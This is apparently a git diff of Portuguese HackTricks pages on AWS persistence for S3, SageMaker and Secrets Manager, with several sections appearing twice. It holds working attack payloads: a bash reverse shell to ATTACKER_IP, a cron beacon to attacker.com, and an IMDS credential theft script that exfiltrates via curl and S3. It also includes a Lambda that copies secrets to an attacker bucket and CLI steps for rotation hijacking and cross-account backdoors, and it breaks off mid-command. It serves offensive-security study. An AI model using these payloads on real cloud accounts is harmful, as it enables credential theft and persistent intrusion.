Embora geralmente as ACLs de buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS - Criptografia do Lado do Cliente
|
||||
|
||||
Quando o processo de criptografia é concluído, o usuário vai usar a API do KMS para gerar uma nova key (`aws kms generate-data-key`) e ele vai **armazenar a chave gerada e criptografada dentro dos metadados** do arquivo ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) de forma que, quando ocorrer a descriptografia, ela possa ser descriptografada usando o KMS novamente:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Portanto, um attacker poderia obter essa chave dos metadados e decriptá‑la com KMS (`aws kms decrypt`) para obter a chave usada para criptografar a informação. Dessa forma o attacker terá a encryption key e, se essa key for reutilizada para criptografar outros arquivos, ele poderá usá‑la.
|
||||
|
||||
### Usando S3 ACLs
|
||||
|
||||
Embora normalmente os ACLs dos buckets estejam desativados, um attacker com privilégios suficientes poderia abusar deles (se ativados ou se o attacker puder ativá‑los) para manter acesso ao S3 bucket.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão Geral das Técnicas de Persistência
|
||||
|
||||
Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo "apenas VPC".
|
||||
#### Nota: As instâncias de notebook do SageMaker são essencialmente instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
|
||||
|
||||
## Permissões Necessárias
|
||||
* Instâncias de Notebook:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Aplicações do Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Definir Configuração de Ciclo de Vida em Instâncias de Notebook
|
||||
|
||||
### Exemplos de Comandos AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Definir Configuração de Ciclo de Vida no SageMaker Studio
|
||||
|
||||
As Configurações de Ciclo de Vida podem ser anexadas em vários níveis e a diferentes tipos de aplicativos dentro do SageMaker Studio.
|
||||
|
||||
### Nível de Domínio do Studio (Todos os Usuários)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Nível de Espaço do Estúdio (Espaços Individuais ou Compartilhados)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio
|
||||
|
||||
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:
|
||||
* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
|
||||
* KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
|
||||
* CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
|
||||
|
||||
### Comando de Exemplo para Cada Tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informações Críticas:
|
||||
* Anexar LCCs no nível de domínio ou espaço impacta todos os usuários ou aplicativos dentro do escopo.
|
||||
* Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que geralmente são mais viáveis no nível de espaço do que no nível de domínio.
|
||||
* Controles em nível de rede (por exemplo, filtragem de egressos rigorosa) podem impedir shells reversos bem-sucedidos ou exfiltração de dados.
|
||||
|
||||
## Shell Reverso via Configuração de Ciclo de Vida
|
||||
|
||||
As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook são iniciadas. Um atacante com permissões pode estabelecer um shell reverso persistente.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Persistência de Cron Job via Configuração de Ciclo de Vida
|
||||
|
||||
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência discreta.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Exfiltração de Credenciais via IMDS (v1 & v2)
|
||||
|
||||
As configurações de ciclo de vida podem consultar o Serviço de Metadados da Instância (IMDS) para recuperar credenciais IAM e exfiltrá-las para um local controlado pelo atacante.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão geral das técnicas de persistência
|
||||
|
||||
Esta seção descreve métodos para obter persistência no SageMaker abusando de Lifecycle Configurations (LCCs), incluindo reverse shells, cron jobs, credential theft via IMDS, e SSH backdoors. Esses scripts são executados com a função IAM da instância e podem persistir entre reinícios. A maioria das técnicas requer acesso de rede de saída, mas o uso de serviços no AWS control plane ainda pode permitir sucesso se o ambiente estiver em modo 'VPC-only'.
|
||||
|
||||
> [!TIP]
|
||||
> Nota: As instâncias notebook do SageMaker são, essencialmente, instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
|
||||
|
||||
## Permissões necessárias
|
||||
* Instâncias notebook:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Aplicações do Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Definir Lifecycle Configuration em Notebook Instances
|
||||
|
||||
### Exemplos de comandos AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Definir Lifecycle Configuration no SageMaker Studio
|
||||
|
||||
Lifecycle Configurations podem ser anexadas a vários níveis e a diferentes tipos de app dentro do SageMaker Studio.
|
||||
|
||||
### Studio Domain Level (Todos os Usuários)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Nível do Studio Space (Espaços Individuais ou Compartilhados)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipos de Configurações do Ciclo de Vida de Aplicações do Studio
|
||||
|
||||
As configurações do ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicação do SageMaker Studio:
|
||||
* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como reverse shells e cron jobs.
|
||||
* KernelGateway: Executa durante o lançamento do app KernelGateway, útil para configuração inicial ou acesso persistente.
|
||||
* CodeEditor: Aplica-se ao Code Editor (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
|
||||
|
||||
### Comando de Exemplo para Cada Tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### Editor de Código
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informações críticas:
|
||||
* Anexar LCCs no nível de domain ou space impacta todos os usuários ou aplicações dentro do escopo.
|
||||
* Requer permissões elevadas (sagemaker:UpdateDomain, sagemaker:UpdateSpace); tipicamente mais viável no nível de space do que no de domain.
|
||||
* Controles a nível de rede (por exemplo, strict egress filtering) podem impedir reverse shells bem-sucedidos ou data exfiltration.
|
||||
|
||||
## Reverse Shell via Lifecycle Configuration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) executam scripts personalizados quando notebook instances são iniciadas. Um atacante com permissões pode estabelecer um reverse shell persistente.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo stealthy persistence.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Lifecycle configurations podem consultar o Instance Metadata Service (IMDS) para recuperar IAM credentials e exfiltrate-as para um attacker-controlled location.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Persistência via política de recurso do Model Registry (PutModelPackageGroupPolicy)
|
||||
|
||||
Abusar da política baseada em recurso em um SageMaker Model Package Group para conceder a um principal externo direitos cross-account (por exemplo, CreateModelPackage/Describe/List). Isso cria uma backdoor durável que permite empurrar versões de modelo envenenadas ou ler metadados/artifacts do modelo mesmo que o IAM user/role do atacante na conta da vítima seja removido.
|
||||
|
||||
Permissões necessárias
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Passos (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Notas
|
||||
- Para um real cross-account backdoor, limite Resource ao ARN do grupo específico e use o attacker’s AWS account ID em Principal.
|
||||
- Para implantações end-to-end cross-account ou leituras de artefatos, alinhe os grants S3/ECR/KMS com o attacker account.
|
||||
|
||||
Impacto
|
||||
- Controle persistente cross-account de um grupo do Model Registry: o attacker pode publicar versões maliciosas de modelos ou enumerar/ler metadados de modelos mesmo depois que suas entidades IAM forem removidas na victim account.
|
||||
|
||||
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
Abuse as configurações de usuário do SageMaker Canvas para redirecionar silenciosamente gravações no model registry para uma conta controlada pelo attacker, habilitando ModelRegisterSettings e apontando CrossAccountModelRegisterRoleArn para uma role attacker em outra conta.
|
||||
|
||||
Permissões necessárias
|
||||
- sagemaker:UpdateUserProfile no UserProfile alvo
|
||||
- Opcional: sagemaker:CreateUserProfile em um Domain que você controla
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Persistência do Secrets Manager
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Políticas de Recursos
|
||||
|
||||
É possível **conceder acesso a segredos para contas externas** por meio de políticas de recursos. Consulte a [**página de Privesc do Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para mais informações. Observe que, para **acessar um segredo**, a conta externa também **precisará de acesso à chave KMS que criptografa o segredo**.
|
||||
|
||||
### Via Lambda de Rotação de Segredos
|
||||
|
||||
Para **rotacionar segredos** automaticamente, uma **Lambda** configurada é chamada. Se um atacante puder **alterar** o **código**, ele poderá **exfiltrar diretamente o novo segredo** para si mesmo.
|
||||
|
||||
Este é um exemplo de como o código da lambda para tal ação poderia ser:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,234 @@
|
||||
# AWS - Secrets Manager Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
É possível **conceder acesso a secrets a contas externas** via resource policies. Consulte a [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para mais informações. Observe que, para **acessar um secret**, a conta externa também **precisará de acesso à chave KMS que criptografa o secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
Para **rotacionar secrets** automaticamente uma **Lambda** configurada é chamada. Se um atacante conseguir **alterar** o **código**, ele poderia diretamente **exfiltrate the new secret** para si.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Troque a Lambda de rotação por uma função controlada pelo atacante via RotateSecret
|
||||
|
||||
Abusar de `secretsmanager:RotateSecret` para reatribuir um secret a uma rotation Lambda controlada pelo atacante e disparar uma rotação imediata. A função maliciosa exfiltra as versões do segredo (AWSCURRENT/AWSPENDING) durante os passos de rotação (createSecret/setSecret/testSecret/finishSecret) para um destino do atacante (por exemplo, S3 ou HTTP externo).
|
||||
|
||||
- Requisitos
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
|
||||
- Impacto
|
||||
- O atacante obtém o(s) valor(es) do segredo sem modificar o código legítimo de rotação. Apenas a configuração de rotação é alterada para apontar para a Lambda do atacante. Se não for detectado, rotações futuras agendadas continuarão a invocar a função do atacante.
|
||||
|
||||
- Etapas do ataque (CLI)
|
||||
1) Prepare o destino do atacante e a execution role do Lambda
|
||||
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Reatribua a rotação e acione
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Verifique a exfiltração listando o prefixo S3 para esse secret e inspecionando os artefatos JSON.
|
||||
5) (Opcional) Restaure a Lambda de rotação original para reduzir a detecção.
|
||||
|
||||
- Exemplo de Lambda atacante (Python) exfiltrando para S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking para Persistência Clandestina (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Abuse Secrets Manager version staging labels para plantar uma versão de secret controlada pelo atacante e mantê-la oculta sob um stage customizado (por exemplo, `ATTACKER`) enquanto a produção continua usando o original `AWSCURRENT`. A qualquer momento, mova `AWSCURRENT` para a versão do atacante para contaminar workloads dependentes, depois restaure para minimizar a detecção. Isso fornece persistência de backdoor discreta e manipulação rápida do tempo-de-uso sem mudar o nome do secret ou a config de rotation.
|
||||
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (para verificação)
|
||||
- Target secret id in the Region.
|
||||
|
||||
- Impact
|
||||
- Mantenha uma versão oculta e controlada pelo atacante de um secret e flip `AWSCURRENT` para ela de forma atômica sob demanda, influenciando qualquer consumidor que resolva o mesmo nome de secret. O flip e o rápido revert reduzem a chance de detecção enquanto permitem comprometimento no momento do uso.
|
||||
|
||||
- Attack steps (CLI)
|
||||
- Preparation
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>Comandos CLI</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
